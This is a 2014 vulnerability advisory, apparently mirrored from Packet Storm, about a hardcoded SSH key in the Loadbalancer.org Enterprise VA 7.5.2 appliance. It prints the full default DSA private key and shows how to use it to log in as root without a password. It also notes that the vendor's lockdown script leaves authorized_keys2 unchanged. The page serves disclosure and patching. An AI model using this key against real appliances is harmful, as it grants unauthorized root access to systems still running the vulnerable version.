Lucene search
K

Loadbalancer.org Enterprise VA 7.5.2 Static SSH Key

🗓️ 17 Mar 2014 00:00:00Reported by xistenceType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 25 Views

Loadbalancer.org VA 7.5.2 SSH Key Issue and Appliance Securit

Code
`-----------  
Author:  
-----------  
  
xistence < xistence[at]0x90[.]nl >  
  
-------------------------  
Affected products:  
-------------------------  
  
Loadbalancer.org Enterprise VA 7.5.2 and below  
  
-------------------------  
Affected vendors:  
-------------------------  
  
Loadbalancer.org  
http://www.loadbalancer.org/  
  
-------------------------  
Product description:  
-------------------------  
  
The Loadbalancer.org Virtual Appliance is a revolution in software load  
balancing. The software is simple to install on Windows, Mac & Linux and  
does not have any adverse effects on the host operating system.  
  
----------  
Details:  
----------  
  
[ 0x01 - SSH Private Key ]  
  
Loadbalancer.org Enterprise VA 7.5.2 contains a default SSH private key:  
  
[root@lbmaster .ssh]# cat id_dsa  
-----BEGIN DSA PRIVATE KEY-----  
MIIBugIBAAKBgQCsCgcOw+DgNR/7g+IbXYdOEwSB3W0o3l1Ep1ibHHvAtLb6AdNW  
Gq47/UxY/rX3g2FVrVCtQwNSZMqkrqALQwDScxeCOiLMndCj61t3RxU3IOl5c/Hd  
yhGh6JGPdzTpgf8VhJIZnvG+0NFNomYntqYFm0y11dBQPpYbJE7Tx1t/lQIVANHJ  
rJSVVkpcTB4XdtR7TfO317xVAoGABDytZN2OhKwGyJfenZ1Ap2Y7lkO8V8tOtqX+  
t0LkViOi2ErHJt39aRJJ1lDRa/3q0NNqZH4tnj/bh5dUyNapflJiV94N3637LCzW  
cFlwFtJvD22Nx2UrPn+YXrzN7mt9qZyg5m0NlqbyjcsnCh4vNYUiNeMTHHW5SaJY  
TeYmPP8CgYAjEe5+0m/TlBtVkqQbUit+s/g+eB+PFQ+raaQdL1uztW3etntXAPH1  
MjxsAC/vthWYSTYXORkDFMhrO5ssE2rfg9io0NDyTIZt+VRQMGdi++dH8ptU+ldl  
2ZejLFdTJFwFgcfXz+iQ1mx6h9TPX1crE1KoMAVOj3yKVfKpLB1EkAIUCsG3dIJH  
SzmJVCWFyVuuANR2Bnc=  
-----END DSA PRIVATE KEY-----  
  
And a authorized_keys2:  
  
[root@lbmaster .ssh]# cat authorized_keys2  
ssh-dss  
AAAAB3NzaC1kc3MAAACBAKwKBw7D4OA1H/uD4htdh04TBIHdbSjeXUSnWJsce8C0tvoB01Yarjv9TFj+tfeDYVWtUK1DA1JkyqSuoAtDANJzF4I6Isyd0KPrW3dHFTcg6Xlz8d3KEaHokY93NOmB/xWEkhme8b7Q0U2iZie2pgWbTLXV0FA+lhskTtPHW3+VAAAAFQDRyayUlVZKXEweF3bUe03zt9e8VQAAAIAEPK1k3Y6ErAbIl96dnUCnZjuWQ7xXy062pf63QuRWI6LYSscm3f1pEknWUNFr/erQ02pkfi2eP9uHl1TI1ql+UmJX3g3frfssLNZwWXAW0m8PbY3HZSs+f5hevM3ua32pnKDmbQ2WpvKNyycKHi81hSI14xMcdblJolhN5iY8/wAAAIAjEe5+0m/TlBtVkqQbUit+s/g+eB+PFQ+raaQdL1uztW3etntXAPH1MjxsAC/vthWYSTYXORkDFMhrO5ssE2rfg9io0NDyTIZt+VRQMGdi++dH8ptU+ldl2ZejLFdTJFwFgcfXz+iQ1mx6h9TPX1crE1KoMAVOj3yKVfKpLB1EkA==  
root@lbslave  
  
  
The manual says the following:  
  
---  
Appliance Security Lockdown Script  
  
To ensure that the appliance is secure it's recommended that a number of  
steps should be carried out.  
These steps have been incorporated into a lockdown script which can be run  
at the console (recommended) or via a terminal session.  
The script helps to lock down the following:  
- the password for the 'loadbalancer' Web User Interface account  
- the password for the Linux 'root' account  
- which subnet / host is permitted access to the load balancer  
  
It also regenerates the SSH keys that are used to secure communicating  
between the master and slave appliance.  
  
To start the script, at the console or via an SSH terminal session run the  
following command:  
lbsecure  
---  
  
  
However, the lbsecure script will regenerate the id_dsa/id_dsa.pub, but the  
authorized_keys2 will remain untouched.  
This makes it still possible to login using the key, without any password!  
  
Create a file "lb" containing the key:  
  
$ cat lb  
-----BEGIN DSA PRIVATE KEY-----  
MIIBugIBAAKBgQCsCgcOw+DgNR/7g+IbXYdOEwSB3W0o3l1Ep1ibHHvAtLb6AdNW  
Gq47/UxY/rX3g2FVrVCtQwNSZMqkrqALQwDScxeCOiLMndCj61t3RxU3IOl5c/Hd  
yhGh6JGPdzTpgf8VhJIZnvG+0NFNomYntqYFm0y11dBQPpYbJE7Tx1t/lQIVANHJ  
rJSVVkpcTB4XdtR7TfO317xVAoGABDytZN2OhKwGyJfenZ1Ap2Y7lkO8V8tOtqX+  
t0LkViOi2ErHJt39aRJJ1lDRa/3q0NNqZH4tnj/bh5dUyNapflJiV94N3637LCzW  
cFlwFtJvD22Nx2UrPn+YXrzN7mt9qZyg5m0NlqbyjcsnCh4vNYUiNeMTHHW5SaJY  
TeYmPP8CgYAjEe5+0m/TlBtVkqQbUit+s/g+eB+PFQ+raaQdL1uztW3etntXAPH1  
MjxsAC/vthWYSTYXORkDFMhrO5ssE2rfg9io0NDyTIZt+VRQMGdi++dH8ptU+ldl  
2ZejLFdTJFwFgcfXz+iQ1mx6h9TPX1crE1KoMAVOj3yKVfKpLB1EkAIUCsG3dIJH  
SzmJVCWFyVuuANR2Bnc=  
-----END DSA PRIVATE KEY-----  
  
SSH to the Loadbalancer.org VM using this key:  
  
$ ssh -i lb [email protected]  
Last login: Wed Jan 29 09:12:10 2014 from 192.168.2.72  
-bash: warning: setlocale: LC_CTYPE: cannot change locale (UTF-8)  
[root@lbmaster ~]# id  
uid=0(root) gid=0(root)  
groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel)  
[root@lbmaster ~]#  
  
  
  
-----------  
Solution:  
-----------  
  
Upgrade to version 7.5.3 or newer  
  
--------------  
Timeline:  
--------------  
  
30-01-2014 - Issues discovered and vendor notified  
15-01-2014 - Vendor replies, also made patch available.  
17-03-2014 - Public disclosure  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation